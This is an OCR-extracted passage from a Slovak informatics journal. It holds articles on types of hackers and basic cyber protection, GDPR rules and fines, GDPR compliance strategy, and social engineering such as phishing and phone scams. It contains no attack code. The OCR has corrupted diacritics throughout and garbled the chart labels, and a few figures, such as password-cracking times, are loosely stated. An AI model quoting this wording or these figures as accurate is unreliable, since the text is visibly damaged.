prekdzok. Druhou motivdciou je pomsta proti zdujmove skupine i osobe.
Tvorca virov - ide o programdatora, so znalostami v IT bezpecnosti, ide o
Specificky druh fudi, nedoceneni odbornici, alebo zradeni idealisti, ciefom su
pocitacové systémy a siete. Motivdaciou je im prekondvanie vyziev alebo
pomsta voci spolo¢nosti.

Vnutorny nepriatel - predstavuje zradeného zamestnanca
firmy(organizdacie), ktory citi osobnu krivdu, nedocenenost’, Utoky su dobre
maskované cez malware, vedu k finanénym stratdm, a moézu viest aj k
finan¢nému obohateniu Utocnika.

Informacny bojovnik - zaoberd sa primdarne o ochranu informacnych
systémov, motivdacia je finanény zisk alebo snaha o finan¢nu likviddciu
protivnika, ide o Utoky na destabilizaciu a poSkodenie ddt, naburava
informacné systémy pomocou tradi¢nych aj netradi¢nych metdd.

Eticky hacker - white Hat, napdda zabezpecenie za Ucelom skumania
zabezpecenia, testuje prienik do daného softwaru a zranitelnost’.®)

Black Hat - narusuje bezpecnost k osobnému prospechu, zni¢it data,
vyradit’ software.

Grey Hat - kombindcia White a Black Hat, prenikd do systémov za ucelom
informovania administratora na hacknuty systém a za finan¢nu odmenu
opravi chybu.

Blue Hat - niekto, kto stoji mimo firmy, nechdva sa najimat’ na testovanie a
ladenie sieti, systémov.

Ochrana pred kybernetickym utokom

Po&itacovd siet’ je tak bezpecnd ako je bezpe&nd jeho najslabsia cast’. Stat, ktory
mda vysoky Uroven informatizdcie svojho riadenia je vyrazne zranitelnejsi.
Kybernetickd vojna je preto pre tieto Staty redlnym nebezpecenstvom. Zaistenie
kybernetickej bezpecnosti je preto klucovou aktivitou kazdého statu, kyberneticky
priestor nepoznd Ziadne casové obmedzenia alebo hranice. Preto je nutné
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spracovavat informdcie o vyskyte bezpeclnostnych Utokov. Preto treba
koordinovat’ ochranné opatrenial™
e Protiopatrenia pre pripad bezpecnostnych incidentov v  kritickej
infrastrukturet™
e Zber informdcii o zdvaznych bezpecnostnych incidentocht®
e Vyplnovanie bezpecnostnych dier v pocitacovych systémoch
e RieSenie informacno-bezpecnostnych incidentov v  spoluprdci s
prevadzkovatelmi sieti, operdtormi a poskytovatelmi internetovych sluzieb.
e Budovanie znalosti verejnosti v oblastiach kybernetickej bezpecnosti
e Kooperdcia so zahrani¢nymi organizdaciami
e Dosiahnutie medzindrodného konsenzu o normdch v kyber priestore
e Existencia nudzového planu, pre pripad kybernetického Utoku.
e Posilnovanie prava vymdhatelnosti v oblasti kybernetickej bezpecnosti
e Ndarodnd kritickd infrastruktura nesmie byt zdavisld na internete, ale musi byt’
schopnd prevadzky aj pocas kybernetického Utoku.

Cielom kybernetickej bezpecnosti®? je ochrana dat a informdcii od velkého
mnozstva hrozieb. NajvacSie straty informdcii su  spdsobené vlastngm
managementom organizdcie odhad az 50-80%, vlastngmi zamestnancami 10-40%,
menej nez 10% je spdsobenych vonkajsimi zdsahmi ako sU pocitacové Utoky.
Najrizikovejsimi faktormi sU preto administrdatori, sprévcovia sieti a vyvojdri
informacnych systémov.

Ako si chrdnit vliastny pocitac
Medzi najndkladnejSie obranné ndvody na obranu pred nezelangmi utokmi,

stratou udajov, ddt, informdcii z pocitaca alebo aj z mobilnych zariadeni patri
dodrziavat’ zakladné praktiky™

1. Neotvdrat prilohy e-mailu s nezndmym formdatom prilozeného suboru

2. Pozor na e-maily, v ktorych odosielatel pozaduje aby ste aktualizovali
osobné udaje (vacsinou sa vyddvaju za bankové kontd)
Pri pisani hesla vzdy skontrolovat ¢i je web zabezpeceny
Pouzivat antivirovy ale aj anti spywareovy software
Pouzivat Firewall, ktory chrdni operacny systém
Pouzivat vzdy najaktudinejsi operacny systém
Neprihlasovat’ sa na cudzich zariadeniach do internetového bankovnictva,
moze byt nainstalovany keylogger™
8. Nepripojovat’ sa k nezasifrovangm bezdrétovgm sietam

N o U AU
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Heslo

Uzivatelia dlhodobo podcenuju vgyznam sile hesla. O bezpecnosti rozhoduje jeho
dizka a vyuzivanie velkych/malgch pismen, ¢isel a symbolov, Na to aby hacker
prelomil heslo zo 4 znakov len malych pismen staci mu na to 90sekund, pri pouziti
aj velkych pismen je to 240 sekundl™l, Za idedine heslo sa povazuje také, ktoré je
minimdlne 12 znakov dlhé, je tvorené pismenami, ¢islami a Specidlnymi znakmi, k
dispozicii je teda 26pismen, 10 Cislic, a viac nez 40 znakov.[

Zdaver

Kybernetické Utoky su vo vseobecnosti chdpané ako agresivne Utoky hackerov
na bezpecnost statul?, organizdcie ¢&i jedinca za ucelom finanéného obohatenia.
Netreba zabudat, ze aj medzi hackermi su taki, ktorf sa snazia upozornit' na slabé
miesta zabezpecenia, siete, softwaru programu. Oznacenie White hat alebo Greay
Ci Blue Hat by sme si preto nemali spdjat’ len s Utokmi ale naopak ako upozornenie
pred hrozbou ¢&i unikom informdcii. Pocitacovd siet’ je tak silnd ako je silnd jeho
najslabsia ¢ast. Taktiez by sme mali zvdzit komu poskytujeme osobné informdcie,
aku e-mailovu postu otvarame, do akej siete sa prihlasujeme. A nakoniec netreba
ani zabudat na to, z kolkych znakov sa skladd nase heslo, ¢i je dostatocne silné a
dlhé, len tak sa vie kazdy najlahsie uchranit’ pred nezelangm utokom.
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VSEOBECNE NARIADENIE O OCHRANE UDAJOV

GENERAL DATA PROTECTION REGULATION
René Magerciak

Abstract

Today, personal data protection is one of the most discussed areas of law. The
main focus is the GDPR regulation. In the article we present the basic concepts and
area of this issue. We will also show some of the main regulations of the GDPR, but
we also talk how can be their violation sanctioned.

Key words: GDPR, personal data, processing

Abstrakt

V dnesnej dobe je ochrana osobnych udajov jedna z najviac diskutovanych
pravnych oblasti. Dévodom pozornosti je hlavne nariadenie GDPR. V ¢lanku si
predstavime zdkladné pojmy a oblasti tejto problematiky. Rovnako si ukdzeme
niektoré z hlavnych nariadeni GDPR ale tiez ako mdze byt ich porusenie
sankcionované.

KPdcové slova: GDPR, osobné Udaje, spracuvanie

Uvod

GDPR je najprisnejsi zakon o ochrane sukromia a bezpec¢nosti na svete. Je to
v podstate subor pravidiel, ktorych ciefom je dat obcanom EU v&eEsiu kontrolu nad
svojimi osobnymi udajmi. V dneSnej dobe, ¢oraz viac fudi zveruje svoje osobné
Udaje aich zneuzivanie je kazdodenngm javom.[2%l Ciefom GDPR je eliminovat’ Unik
a zneuzivanie osobnych udajov a to aj hrozbou vysokych pokut.

Osobny Udaq;j

Osobnym udajom su akékolvek informdcie, ktoré sa tykaju fyzickej osoby, ktoru
je mozno priaomo alebo nepriamo identifikovat™. Su to napriklad meno,
identifikacné cislo, etnicky pdvod alebo pohlavie. Osobnym udajom su vsak qgj
lokaliza¢né udaje, emailové adresy a dokonca aj webové subory cookies.”
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Na koho sa GDPR vztahuje?

GDPR sa vztahuju na véetky organizdcie pésobiace v EU ale aj vetky organizécie
mimo EU, ktoré ponukaju tovary a sluzby zakaznikom alebo ingm podnikom v EUM,
V kone¢nom dbésledku, sa GDPR dotyka kazdého, kto spracuva osobné udaje
fyzickych oséb EU. Naj¢astejsie ide o zamestndvatelov, doddvatelov, subjektov
poskytujucich sluzby alebo prevadzkovatelov webov a e-shopov. !

Spracuvanie osobnych udajov

Na to aby boli osobné uUdaje pre spolocnost uzito¢né, je potrebné ich
spracovanie. Je to metdéda zhromazd'ovania udajov a ich ndsledné uvedenie do
pouzitelnych informdcii. Udaje sa zhromazd'uju, zaznamendvaju, filtruju, triedia,
analyzuju, ukladaju a podobne. Pre Uplné pochopenie a pouzivanie osobnych
udajov, je potrebné ich konvertovanie do citatefného formdtu. NajcastejSie sa
vyuzivaju grafy &i tabulky.!

Co GDPR znamend pre ob&éanov?

Z dévodu velkého mnozstva zneuzitia osobnych udajov a hackerskych utokov
bolo mnozstvo dévernych udajov odhalenych na internetel®l. Velkou zmenou, ktoru
GDPR prindsa, je poskytnutie prdava spotrebitefom vediet’ kedy doslo k napadnutiu
ich udajov. Organizdcie musia jasne a zrozumitelne uvvadzat, ako informdcie od
zd&kaznikov vyuzivaju. GDPR tiez prindsa moznost’ zabudnutia Udajov pre fudi, ktori
uz nechcy, aby boli ich osobné Udaje spracuvané, v pripade, Ze neexistuju ddvody
na uchovanie tychto udajov. Tymto pravam spotrebitelov sa musia organizdcie
prispésobit’

KPdcové poziadavky nariadenia GDPR

e Zakonné, spravodlivé a transparentné spracovanie. Zdkonné v tomto
pripade znamend, Ze vsetko spracovanie musi byt’ zalozené na legitimnom
Ucele. Spravodlivé zas, Zze spolo¢nosti preberaju zodpovednost” a neporusuju
poziadavku zdkonnosti. Transparentné hovori, ze spolo¢nost’ musi osoby
informovat o vsetkych ¢innostiach spracovania ich udajov.

e Obmedzenie Ucelul”. OCakdva sa, ze spolo¢nosti zhromazd'uju iba tie Udaje,
ktoré su pre nich nevyhnutné. Rovnako Ze dané uUdaje neuchovdvaju po
dokonceni Ucelu spracovania. Je preto potrebné dodrzat 3 poziadavky,
ktorymi su: zakdzanie spracuvania osobnych udajov mimo legitimneho
Ucelu, nepozadovat’ Udaje, ktoré nie su nevyhnutné a vymazat' Udaje po
dokonceniich Ucelu.
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Prava dotknutej osoby Dotknuté osoby maju prdavo pozadovat informdcie
0 udajoch, ktoré spolo¢nost’ md& a ¢o s nimi robi. Tiez maju prdavo ziadat’ o
opravu udajov, namietat’ proti spracovaniu alebo poziadat o vymazanie
osobnych udajov.l'

Suhlas. Kazdd spolo¢nost’, ktord md v umysle spracuvat osobné udaje, musi
dotknuty osobu poziadat o vyslovny suhlas k tejto ¢innostil™®. Tento suhlas
mobze dotknutd osoba kedykolvek odvolat. V pripade, ze vek dotknutej
osoby je mensi ako 16 rokovl), je potrebny vyslovny suhlas zdkonného
z&stupcu danej osoby.

Porusenie ochrany osobnych udajov. Organizdcie musia viest register
porusenia ochrany osobnych udajov a na zdklade ich zdvaznosti by mali
informovat’ dotknutu osobu ako aj regula¢ny orgdn do 72 hodin od zistenia
porusenia ochrany osobnych udajovt’.

Prenosy udajov. Prevdadzkovatel osobnych udajov je za zabezpecenie
ochrany osobnych udajov a dodrziavania poziadaviek GDPR zodpovedny qgj
v pripade, Zze spracuvanie udajov vykondva tretia strana. Musi zabezpecit’
ochranu Udajov ked’ ich prendsa mimo spolo&nosti alebo inému subjektu v
rédmci spolo¢nosti.l’™

Integrita a dévernost. Spracovanie sa musi vykondvat spdsobom, ktory
zabezpedli primerany bezpecnost, integritu a dbévernost ( napriklad
pomocou Sifrovania )i

Uradnik pre ochranu Udajov. V pripade, ze v organizécii dochddza k
vyznamnému spracovaniu osobnych udajov, mala by organizdcia poverit’
uradnika pre ochranu Udajov. Tento uradnik bude mat’ zodpovednost za to,
aby spolo¢nosti radil o dodrziavani poziadaviek GDPR.['

Povedomie. Je potrebné aby organizdcie medzi zamestnancami vytvdaral
povedomie o poziadavkdach GDPR, aby zabezpecili informovanost
zamestnancov o svojich zodpovednostiach v suvislosti s ochranou osobnych
udajovt™

Sankcie za porusenie GDPR

Ziadna spolo¢nost’ by nemala zanedbdvat’ povinnosti ustanovené v GDPR. Za ich
porusenie, mdzu byt spolocnosti ulozené az likvidacné pokuty.! Kdezto podfa
starého zakona bolo mozné ulozit pokutu do maximdlnej vysky 200 000 eur, po
vyraznych zmendch z roku 2018 mdzu byt pokuty udelené aj v niekolkych
miliénoch eurt®! V pripade porusenia povinnosti méze Urad ulozit:
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e Vv pripade menej zavazného porusenia pokutu az do vysky 10 000 000 eur. V
pripade podniku do 2% celkového svetového roc¢ného obratu za
predchddzajuci u¢tovny rok podfa toho, ktord zo sum je vyssia.

e Vv pripade zdvazného porusenia pokutu az do vysky 20 000 000 eur. V
pripade podniku do 4% celkového svetového roc¢ného obratu za
predchddzajuci u¢tovny rok podfa toho, ktord zo sum je vyssia.

e poriadkovu pokutu a to az do vysky 2 000 eur alebo poriadkovu pokutu az
do vysky 10 000 eur.to

Manazérska Informatika

Novy zdkon ustanovuje aj premlcacie lehoty, ktoré je potrebné dodrziavat.
Pokuty a poriadkové pokuty maju osobitnU lehotu a zodpovedaju zdvaznosti
porusenia povinnosti. Pokutu je mozné ulozit’ do dvoch rokov, odkedy urad zistil
porusenie a najneskdr do piatich rokov, odkedy doslo k poruseniu povinnosti. Prva
spomenutd je takzvand subjektivna lehota, druhd je objektivna lehota a musia byt’
dodrzané sucasne. V pripade poriadkovej pokuty je lehota 6 mesiacov od dna,
kedy doslo k poruseniu. (takzvand objektivna lehota ).,

Zdaver

Nariadenie GDPR je ndrocné, rozsiahle a existuje velké mnozstvo poziadaviek
ktoré z nariadenia GDPR vychddzaju. Je preto potrebné venovat mu dostatocnu
pozornost” a Usilie pri implementdcii jednotlivgch poziadaviek.2 Pokial sa
spolo¢nost’ chce vyhnut problémom spojenym s porusenim GDPR, mala by
dostato¢ne vzdeldvat aj svojich zamestnancov. Je potrebné aby vedeli ako
dodrziavat nariadenia pripadne ako postupovat’ pri neumyselnom
uniku osobnych udajov.
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STRATEGIA A SULAD S NARIADENIM GDPR

PERSONAL DATA PROTECTION ACCORDANCE WITH GDPR
Orsolya Kurti

Abstract

The aim of the article is to characterize the use of the GDPR regulation in the
European union. The work will deal with the practicl use of the regualtion, ho w i tis
implemented by companies and what changes it brings to GDPR users on the
internet. Also what should be the best way to implmenet the regulation by various
sources.

Key words: GDPR, GDPR usage

Abstrakt

Ciefom ¢ldnku je charakterizovat pouzitie nariadenia GDPR v Eurdpskej unii.
Pradca sa bude zaoberat praktickym vyuzitim reguldcie, ktord implementuju
spolo¢nosti,a zmenami, ktoré prindsa pouzivatelom GDPR na internete. Akg by mal
byt najlepsi spdsob implementdcie nariadenia z réznych zdrojov.

KPdcové slovda: GDPR, pouzitie GDPR

Uvod

Tdato prdaca sa bude zaoberat’ pouzivanim nariadenia GDPR na internete. V prdci
sa rozoberie pouzivanie firmami, aké zmeny GDPR prinieslo po jeho prijati v roku
2018, a aké su najlepsie rady pri aplikovani GDPR v korpordtnej strukturell. Prave
GDPR sa povazuje za prelomové nariadenie, ktoré spdsobilo zvrat v tom, ako
pouzivame nds internet, a ako sme na internete chrdneny. Toto ale prinieslo vela
novych vyziev a zodpovednosti pre spolo¢nosti, ktoré nardbaju s citlivgmi a
osobnymi udajmi pouzivatelov. GDPR predstavuje zmenu v zhromazdovani,
ukladani a pouzivani osobnych udajov pouzivatefov a klientov firiem. Préve preto
je dblezité aby toto nariadenie bolo aplikované sprdvne a by sa predislo
zbytocnym pokutdm, ktoré mézu byt velmi vysokélel,
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Spotrebitel'sky prieskum

V roku 2018 uskutocnili prieskum medzi viac ako 7 000 spotrebitelmi v siedmich
krajindch EU s ciefom zistit, ako mézu zakaznici reagovat na nové nariadenia, @
pomobct podnikom predvidat, ako pldnuju zdkaznici vyuzit’ svoje nové pravomodi,
ktoré pridu v mdji 2018, Spotrebitelia zddraznili potrebu na zavedenia systémov,
dodrziavania predpisov, ale aj ndstrojov na zapojenie zdkaznikov, ktoré dokdzu
pochopit’ kontext interakcie a poskytnut transparentnost’, aby pomohli posilnit’
déveru u spotrebitefov. Z prieskumu sme dozvedeli, Ze 89% spotrebitelov v EU chce
vidiet’ udaje, ktoré o nich spolo¢nosti ulozili. 82% spotrebitefov v EU planuje uplatnit
svoje nové prdva na prezeranie, obmedzenie alebo vymazanie zhromazdenych
informacii. 93% spotrebitefov v EU uviedlo, Ze vymazu svoje osobné udaje, ak by im
nevyhovovalo, ako si mysleli, Ze ich spolo¢nosti pouzilit*).

Nariadenie GDPR
Od nadobudnutia U¢innosti v mdji 2018 malo vSeobecné nariadenie o ochrane
udajov (GDPR) vyznamny vplyv na ochranu osobnych udajovl’l. VSeobecné
nariadenie Eurdpskej Unie o ochrane udajov je rozsiahly zakon o ochrane osobnych
udajov, ktory zjednocuje predpisy o ochrane osobnych udajov vsetk(ch ¢lenskych
Stdtov Eurdpskej unie. Podla predchddzajucej normy, smernice o ochrane udajov,
mal kazdy clensky stat svoje vilastné zakony o ochrane udajov, ktoré upravuju
zhromazd'ovanie, analyzu, pouzitie a uchovdvanie osobnych udajov pouzivatelov.
GDPR to zmenilo a stanovilo jednotny subor noriem, ktory sa vzt'ahuje na vsetky
osobné Udaje generované pouzivatelmi v rédmci EU. Nevztahuje sa iba na
spolo¢nosti so sidlom v EU; kazdd spolo¢nost, ktord zhromazd'uje, analyzuje,
pouziva alebo uchovava osobné Udaje pouzivatela so sidlom v EU, sa musi riadit
GDPR alebo ¢elit’ prisnym pokutdm. GDPR zmenilo spésob, akym spolocnosti robia
vela veci, vratane toho, ako spolupracuju s poskytovatelmi sluzieb tretich stran.
Kazdd spolocnost’, ktord ukladd alebo spracuva osobné informdcie o obcanoch

EU v rdmci $tatov EU, musi dodrziavat’ nariadenie GDPR, a to aj v pripade, Ze v EU
nemd obchodné zastupenie. Konkrétne kritérid pre spolo¢nosti, od ktorych sa
vyzaduje, aby dodrziavali tieto poziadavky™:

e Pritomnost v krajine EU.

e V EU nie je pritomnd, ale spraciva sa v nej osobné udaje eurdpskych

obyvatelov.
e Viac ako 250 zamestnancov.
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e Menej ako 250 zamestnancov, ale jeho spracovanie udajov ovplyvruje
prava a slobody dotknutych osbb, nie je prilezitostné alebo obsahuje urcité
typy citlivych osobnych udajov.

Jednou z klucovych vyziev je ndhly prechod na prdacu na dialku spdsobenu
vypuknutim choroby as tym spojené opatrenia blokovania alebo zdkazu
vychdadzania prijaté viadami. Organizdcie musia zabezpecit' zdravia a bezpenosti
zamestnancov a ochrana ich zakladnych prav a slobdd ako dotknutych osébt?, S
cielom obmedzit’ Sirenie virusu na pracovisku bude pravdepodobne potrebné, aby
zamestndvatelia spracovali viac osobnych udajov ako doteraz, najmé zdravotné
udaje. Mnoho spolo¢nosti je v pokuSeni spolahnut sa na suhlas svojich
zamestnancov s takymito udajmi. Kvoéli nerovnovdhe sil v pracovnoprdvnych
vztahoch sa vsak suhlas zamestnanca véeobecne nepovazuje za ,slobodne dany®
a je nepravdepodobné, Zze bude v sulade s GDPR. GDPR poskytuje rézne moznosti
v pripade nedodrzania pravidiel ochrany udajov, vradtane maximalnej pokuty az do
vysky 20 milionov EUR alebo Styroch percent z celkového ro¢ného celosvetového
obratu spolo¢nosti, podfa toho, ktord hodnota je vyssia.

GDPR definuje niekolko roli, ktoré su zodpovedné za zabezpecenie suladu:
kontrolér udajov, spracovatel udajov a pracovnik ochrany udajov (DPO)Y.
Prevdadzkovatel definuje, ako sa osobné uUdaje spracuvaju a na aké Ucely sa
spracuvaju. Prevddzkovatel je tiez zodpovedny za zabezpeclenie suladu s
poziadavkami externych doddvatelov. Spracovatelmi udajov mdzu byt interné
skupiny, ktoré udrziavaju a spracuvaju zdznamy o osobnych udajoch, alebo
akdkolvek externd firma, ktord vykondva tieto ¢innosti alebo ich ¢ast’. Podla GDPR
sU spracovatelia zodpovedni za porusenia alebo nedodrzanie predpisov. Je teda
mozné, ze spolo¢nost’ aj spracovatelsky partner, napriklad poskytovatel cloudu,
budu zodpovedni za pokuty, aj ked chyba je vylu¢ne na spracovatelskom
partnerovi.

Nariadenie GDPR md dopad aj na internetové obchody v oblasti zmliv so
spolupracujucimi organizdaciami, napriklad medzi spravcom osobnych Udajov a
spracovatelom. Takdto zmluva nie je novinkou, bola pozadovand predoslou
legislativou. Nariadenie GDPR sa tejto problematike venuje v clanku 28
Sprostredkovatel. Aj ked tieto ustanovenia zneju priamo, vykondvanie
Strukturdlnych zmien potrebnych na splnenie poziadaviek nariadenia GDPR bolo
pre mnohé spolo¢nosti monumentdlnou Ulohou - najmda v USA, kde su pravidld
ochrany osobnych Udajov podstatne volnejsie ako v EU. Marketingové oddelenia
boli nutené venovat osobitnu pozornost” GDPR.
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Odporucanie ako uUspeSne ako zvlddat GDPR agendu vo svojej spolocnosti
existuje ndvod, ktory poskytuje vgbornu pomoc v tejto zdlezitostil®!

Aj ked dosiahnutie a zachovanie suladu s GDPR je velkou vyzvou, existuju

Zdokumentujte svoj sucasny a buduci stav- Umozni vém to predlozit ddkazy
pozadované nariadenim, ako aj odhalit” potencidine medzery v procese a
technologii.

Zaviest’ nové procesy s uzavretou sluckou- Akykolvek postup na ziskanie
sUhlasu, ktorg zahfina manudine kroky, vystavi podnik moznému riziku v
sulade s predpismi. To si bude vyzadovat’ potrebu dynamickych procesov s
uzavretou sluckou, ktoré su schopné prispdsobit’ sa nuansdm kazdej
poziadavky.

Pripojte réznorodé zdroje udajov- Budete musiet’ ndjst’ spdsob, ako prepojit’
procesy s udajmi a systémami zdakaznikov v celom podniku. Délezité je, ze
to ¢asto zahfia potrebu integrdcie so stargmi systémami, ktoré nemusia
mat” API.

Uzavrite ochranu udajov o zdkaznikoch - je potrebné zaviest ochranné
opatrenia na proaktivnu ochranu osobnych udajov. To znamend Uvahy o
Sifrovani, de-identifik&cii udajov.

Vytvorte systém upozorneni- Musite automatizovat komunikdciu medzi
vSetkymi stranami vrdtane Udajov, subjektu, kontroléra, procesora a
reguldatora - s proaktivnymi aj reaktivnymi procesmi vrdtane zostavovania
dynamického obsahu.

Dosiahnite transparentnost’” automatizovanych rozhodnuti- Mozno budete
musiet’ prestat’ s nepriehfadngmi analytickymi procesmi a nahradit’ ich
transparentnygmi procesmi, ktoré mézu vrhnut svetlo na logiku pouzity pri
rozhodovani.

Udrziavajte komplexny auditovy chod- Sledujte vsetky aktivity vrdatane
zhromazd'ovania udajov, udelovania suhlasu a dokonca aj rozhodnutiaq,
ktoré boli urobené na zaklade tychto udajov.

.,

strieborné oblozenia. Udaje od digitdlnej marketingove] spolo¢nosti Acoustic, ktord
bola predtym sucastou IBM, ukazuju, Zze GDPR uz md pozitivny vplyv na
angazovanost. Sprdva o marketingovom teste spolocnosti z roku 2019 preskumala
marketingové udaje tisicov znaciek v 40 krajindch. Okrem inych vysledkov sprdava
zistila, ze miera otvorenia e-mailov a miera prekliknuti sa od roku 2014 podstatne
zvysili, a to o 19%, respektive 14%.[7 ,Obchodnici boli spociatku skepticki voci
predpisom o ochrane sukromia a udajoch, ako je GDPR vo Velkej Britdnii a CASL v
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Kanade, pretoze obmedzuju spdsob, akym mdzu znacky ziskat pristup a vyuzivat
udaje o zakaznikoch,” uviedla vo vyhldseni Loren McDonald, programovd riaditefka
prieskumu trhu v spolocnosti Acousticl®l. Aj ked je GDPR urcite pre mnohé
spoloc¢nosti zdsadnou zmenou, prdca pri udrziavani suladu mbze stat’ za to nielen
z regulac¢nych dévodov, ale aj z obchodnych dévodov. Digitalny marketing koniec
koncov funguje najlepsie, ked’ sa publikum, ktoré oslovite, skuto¢ne zaujima o vase
produkty a sluzby. Nezainteresovani pouzivatelia dosahuju  vyhodené
marketingové doldre.

Zdaver

Nariadenie GDPR a jeho pouzivanie je zlozitou tematikou. Tdto prdca sa snazila
tuto tému objasnit’ a priblizit informdcie, ktoré sa tykaju pouzivanie GDPR firmami,
ako pouzivat’ GDPR sprdvne, a aké novinky priniesla zmena nariadenie v roku 2018.
Prave zmena v roku 2018 bola kFucovou k vybudovaniu bezpecnejsieho a
sukromnejSieho online prostredia pre pouzivatelov. Prdave toto je zdkladom GDPR
a jeho pouzivania. Spolo¢nosti museli urobit' mnozstvo zmien, ktoré neboli pred tym
potrebné a prispdsobit’ sa novej realite, ktoru toto nariadenie prinieslo.
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SOCIALNE INZINIERSTVO

SOCIAL ENGINEERING
Matej Piski

Abstract
The aim of the article is to introduce social engineering. What are its elements
and why is it dangerous for us as individuals, but also for organizations.

Key words: social engineering, security

Abstrakt
Ciefom ¢lanku je predstavit’ socidline inzinierstvo. Aké su jeho prvky a preco je
nebezpecny pre nds ako jednotlivcov, ale aj pre organizdcie.

KPdcové slova: socidlne inZinierstvo, bezpecnost’

Uvod

Ludskd hlupost, neopatrnost’ a nevedomost’ nds uz od nepamdati sprevddzaju na
kazdom kroku a tak bolo len otdzkou ¢asu, kedy sa medzi lud’'mi ndjdu ti, ktori tieto
chyby v spravani dokdzu zneuzit'. NaruSenie bezpecnosti pocitacovych systémov,
nie je cCisto technickd zdlezitost' vznikajuca ndsledkom dier v systéme, ktoré je
utocnik schopny vyuzit, ked’ze jednym z najslabsich ¢lankov tychto systémov méze
byt clovek.[>!

Socidlne inzinierstvo

So socidlnym inzZinierstvom sa v nasSich zivotoch stretdvame dennodenne,
najcastejSie je to pri surfovani na webe. Socidlni inzinieri Utocia na nase najcitlivejsie
miesta a snazia sa ziskat’ si nasu ddverut?. Taktiez sucit a lUtost” patria medzi
vlastnosti ludi, ktoré dokdzu socidlni inzinieri zneuZit' a dostat’ sa tak k hmotngm,
ale i nehmotnym veciam ako napriklad pristupové kédy alebo osobné udaje.
Socidlne inZinierstvo umoznuje psychologicky manipuldciu s ciefom ziskat” od nich
ddéverne informdcie alebo prinutit’ ich k vykonaniu nechcenej akcie. Sprdavanie Fudi
je jedna z najslabsich ¢lankov ¢o sa tyka pocitacovej bezpelnostit’!

109 http://www.manazerskainformatika.sk



I\I/I |

ISSN 2729-8310, rocnik 1, ¢islo 2

Socidlny inzinier je osoba, ktord pouziva metdéddy a praktiky socidlneho
inzinierstva nato, aby dosiahla pozadované informdcie pre svoj osobny prospech
alebo prospech niekoho iného. Svojimi metdédami a praktikami sa snazia vyuzivat

faktory, ktoré ovplyvnuju fFudské spravanie a rozhodovanie. Vd'aka tgymto
praktikdm mdze byt ¢lovek ovplyviovany (napr. dévera, sympatie, stres).t!

Manazérska Informatika

Socidlne inzinierstvo v organizdcii

Najzranitefnejsia Cast’ organizdcie z pohfadu socidlneho inzinierstva su
zamestnanci danej organizdcie. Vo vseobecnosti tvori velky Cast’ bezpecnostnych
rizik identifikovanych v rdmci organizdcie ludské sprdvanie. VacsSinou ide o
nepozornost, chybu, nedbalost” alebo nevedomost. Toto tvrdenie podporuje qgj
prieskum spolo¢nosti ESET, ktord sa zaoberala informacnou bezpecnostou v
organizdcidch na Slovensku z roku 2011.5

Konanie zamestnanoov 63%

Ekodlivy kad

Zhyhanie dodavky slufieb tretich stran

Chyba pouiivane] te chnolagie (5W, HW)
Mezazname nali sme bezpetnostrny incide nt
MNedostatok zdrojov pre riadenie bezpetnosti

Iné dovody, prosim uvedte:

Environme ntalne vphary

Graf 1Dévody vijskytu bezpecnostného incidentu v organizdcidch. Zaroj: https,/,/www.eset.com/sk/firemna-
it-bezpecnost/bezpecnostne-sluzby/services/clanky/socialne-inzinierstvo-ib,/

Z prieskumu vyplgva, Ze 63% organizdcii oznacilo za pri€inu bezpecnostného
incidentu v organizdcidch sprdvanie respektive konanie zamestnancov.
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B Len pri prijati noveho
zamestnanca

B Nie, nearganizujeme Skole nia

= Ano, syste maticky
vzde lavame zamestnancoy

Len v pripade wygkytu
bezpecnostného incidentu

Graf 2 Graf 2 - Budovanie bezpecnostného povedomia prostrednictvom Skoleni o informacnej bezpecnost;.
Zadroj: httos,//www.eset.com/sk/firemna-it-bezpecnost/bezpecnostne-sluzby,/services,/clanky,/socialne-
inzinierstvo-ib/

Na druhom grafe mézeme vidiet ako organizdcie pristupuju ku vzdeldvaniu
zamestnancov ohladom informacnej bezpecnosti. Z prieskumu vyplgva ze len 25%
organizdcii organizuje pravidelne Skolenia v oblasti informacnej bezpecnosti.
Ostatnych 75% organizdcii vzdeldva svojich zamestnancov v oblasti bezpe&nosti
iba jednorazovo alebo vébec. Tu mbzeme vidiet” problém, ktory by mohol v
buducnosti socidlny technik zneuzit, kedze vacsSina firiem nevzdeldva svojich
zamestnancov ako sa voci tymto utokom brdnit’ ]

Sposoby vykonania socidlneho inzinierstva
Najucinnejsim spdésobom na preverenie bezpecnostného povedomia u

zamestnancov organizdcie je prave simuldcia potencidineho Utoku technikou
socidlneho inzZinierstva. Testovanie socidinym inzinierstvom moze byt realizované
za réznych podmienok:t

e Phishingovy test

o Telefonicky test

e Preverenie zverejnenych informdcif

Jednotlivé spdsoby testovania mdzu byt podporené kombindciou dalsich
komunika&nych kandlov. Cim d'alej sa zintenziviiuju Utoky na podniky a aj na
jednotlivych pouzivatelov pocitacov, pricom sa spoliehaju pri ziskavani osobnych
alebo finan¢nych informdcii viac na socidlne inzinierstvo, kde vyuzivaju klamanie
alebo manipuldciu, ¢asto e-mailom, ale aj telefonickym hovorom. Pri Utoku na
podnik suU Udaje o zdkaznikoch a doddvateloch v ohrozeni.®l
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Telefonicky podvod

Podla The New York Times utoc¢nik zavolal Nancy Butlerovej a tvrdil o sebe, Ze
pracuje ako informacni technik, vyzeralo to, Ze islo len o rutinnU kontrolu
legitimnym zamestnancom. Tak ako to uz mnohokrdt pocas takychto hovorov
urobila, poziadala volajuceho, aby potvrdil Cislo jej U¢tu a d’alSie informdcie, aby si
mohla byt istd, ze je tym, za koho sa vyddva. Ked’ sa vSetko potvrdilo, pustila ho
do svojho pocitaca, lenze hned’ nato zistila, Ze jej zablokoval pocita¢ a ndsledne
ziskali pristup k bankového Uctu a kreditnej karte.[®!

Phishingové podvody

Phishingové podvody ¢asto vyuzivaju socidlne inzinierstvo. Podvody su zvycajne
maskované v realisticky vyzerajucich e-mailoch, ktoré povzbudzuju prijemcu
kliknut na odkaz alebo prilohu; toto kliknutie stiahne skodlivy softvér zndmy ako
malware, ktory dokdaze zachytit’ informdcie a odoslat’ ich spat’ zlo¢incovi. E-maily
mozu vyzerat ako pochddzajuce z banky spolo¢nosti alebo z iného podniku.
Hacker méze zavolat do podniku, povedat nieco v zmysle pracujem pre vasho
hostitela webu, a pridat skutocné meno hostitela, aby dodal hovoru
déveryhodnost. Hackeri mbézu ziskat informdcie o webovych strankach a ich
hostitel'skej spolo¢nosti z online adresdrov, kde potom, ak sU schopni manipulovat’
zamestnanca, aby sa vzdal hesla, mdzu vstupit na web, ukradnut’ informdcie a
poskodit’ alebo deaktivovat'®

Podvodnici neustdle hfadaju spdsoby, ako mbézu zneuzit” dobré meno velkych a
